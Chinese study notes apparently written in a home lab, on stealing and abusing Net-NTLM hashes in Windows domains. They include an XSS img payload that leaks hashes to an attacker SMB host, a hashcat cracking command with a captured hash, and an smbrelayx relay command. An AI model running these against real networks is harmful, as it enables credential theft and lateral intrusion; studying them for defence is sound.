域渗透学习笔记三:攻击NTLM
基础知识
最常见Pass The Hash 也就是Hash传递这一手法是就是利用Net-NTLM hash进行攻击的,仔细分析过Windows认证机制机制后会发现它就类似与一个web方面的重放攻击。
比如:
在一些条件下通过中间人抓到了站点登录后台登录时的Web流量,但是登录密码被前端加密了(比如MD5),hash值无法解密,这时候我们只需要重放这个登陆包就可以完成后台登录认证。
在Net-NTLM认证过程中Net-NTLM hash传递发生在质询第二个包:
里面最关键的字段是用户名以及Response。缺一不可,所以原则上来说进行Hash传递的条件有两:
-
抓到的Net-NTLM hash字段
-
hash对应的用户名。
个人不觉得能访问目标算条件,不能访问目标或者访问错误的目标想去搞Hash传递攻击本身就是个扯犊子的事情,就像Web重放一样,A站点的包你去重放给截然不同的B本身就很扯。关于协议版本对的上也是个人的总结,因为Net-NTLM协议在不同的版本上又可细分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法。v1和v2在windows认证机制的学习中以及提到过其不同的地方。
Net-NTLM Hash窃取
相关Hash会出现三个地方:
-
SAM数据库
-
Lsass进程
-
传输过程
前两点已经做过总结:Windows本地hashdump备忘录, 各类之所以能够读到明文时因为去dump了lsass中缓存的用户输入得到明文,如果明文缓存不存在的情况下(比如2012/10以后系统wdigest默认没开启,明文不存在),读到的其实可以理解为都是NTLM hash。值得注意的是:
- Net-NTLM hash和NTLM hash不是一回事。
- Net-NTLM hash是Net-NTLM认证过程客户端第二次发送给服务端的包中的response字段。
了解完成就会明白Net-NTLM hash的窃取主要发生在传输环节,传输环节的攻击无非三个点。
第一是传输前就截取到数据包,类似与Hook app的发包接口获取明文
第二是中间人攻击获取
第三是在接收方获取。
第一个环节明显需要以及有对方能够控制底层流量权限,既然有了还搞啥Hash传递;第二个环节不少很了解,后续再学习;第三个环节需要接收方获取,通常情况下是控到刚好会被目标使用NILM认证访问的几率是很小的。不过可以伪造NTLM认证服务端,再配合其他漏洞进行利用。
比如XSS:
<img src="\\10.5.100.7\TheKingOfDuck.png">
img标签是支持smb协议,然后smb协议本质上走的NTLM认证,NTLM认证在用户输入凭证前又会默认使用本地NTLM Hash先进行认证一遍,所以在无法Getshell的情况下,就可以伪造一个smb客户端,再通过该手法获取到Net-NTLM Hash,最后执行解密工作或hash传递攻击
Responder伪造认证服务端:
伪造一个Net-NTLM协议认证服务端,当用户进行访问时系统默认会先将本地Net-NTLM hash进行验证,该hash可进行碰撞解密获取密码。
在目标机器上访问伪造的客户端(可以是多种形式,比如上面说到的xss获取)
获得Net-NTLM hash:
同类工具还有Inveigh,原理都是一样的
Net-NTLM Hash 利用
Net-NTLMv1 Hash加密策略远弱于v2,拿到Net-NTLM v1 hash就约等于NTLM HASH,v2在暴力破解不成功的情况下就可以考虑Relay攻击
Net-NTLM v2 hash暴力破解
将Responder获取到的Net-NTLM hash交给hashcat进行暴力破解
hashcat -m 5600 attacker::ADSTUDY:1aef20d3cfba8772:9D01310D04E79AD84A789669BE40EF2C:0101000000000000D9C9E307FDF1D5014454D6B4C6B563920000000002000E0041004400530054005500440059000100060042004F0054000400160061006400730074007500640079002E0063006F006D0003001E0062006F0074002E0061006400730074007500640079002E0063006F006D000500160061006400730074007500640079002E0063006F006D0007000800D9C9E307FDF1D50106000400020000000800300030000000000000000000000000200000D6F78567C955B9EA05E044A994D2307E6DEF8486F2ECA33C9F042A0F501043C10A001000000000000000000000000000000000000900200063006900660073002F00310030002E0035002E003100300030002E0031003000000000000000000000000000 pass.txt --force
如图是暴力破解成功的情况。
Net-NTLM v2 hash Relay
以relay2smb为例:
利用条件有两:
-
目标机器不能开启smb签名,否则利用无效,一般情况下,windows server会默认开启,而windows单机系统[win 7/8/8.1/10]默认都不会开。
-
对一些打了ms08-068[KB957097]补丁的老系统[比如windows xp/2003以下的系统]利用无效。
值得一提的是域控默认开启smb签名的,其他默认没开
relay对象10.5.100.7 (win7)
攻击机10.5.100.10 (Kali)
relay到 10.5.100.1 (2012)在kali 使用nmap来检查签名是否开启,smbrelayx.py模块来发起relay攻击
nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 10.5.100.7
(message_signing: disabled 即可,Responder自带的Runfinger也可以,不用检查也可以,Multirelay也会自动检查的)
在kali上开启relay
python smbrelayx.py -h 192.168.22.162 -c whoami
在2012上执行
dir \\10.5.100.10\C$
即可relay成功。
总结
大多数情况攻击NTLM能成功都是因为NTLM在认证是默认会先使用本地hash去登录目标服务,因此可以制造各种机会去获取到Net-NTLM hash再进一步解密操作。
-
Net-NTLM v1 hash相对容易破解,拿到就约等于拿到了NTLM hash
-
Net-NTLM v2 hash需要暴力破解
-
NTLM-Relay 攻击的姿势很多,工具也多,msf/smbrelayx.py/Responder
-
触发让系统发送NTLM请求的地方非常多。因为很多地方都支持UNC路径
比如:
- xss
- 各种图标(desktop.ini,scf文件,用户头像)
- pdf/word
- outlook
- xxe/ssrf
- etc...
也无风雨也无晴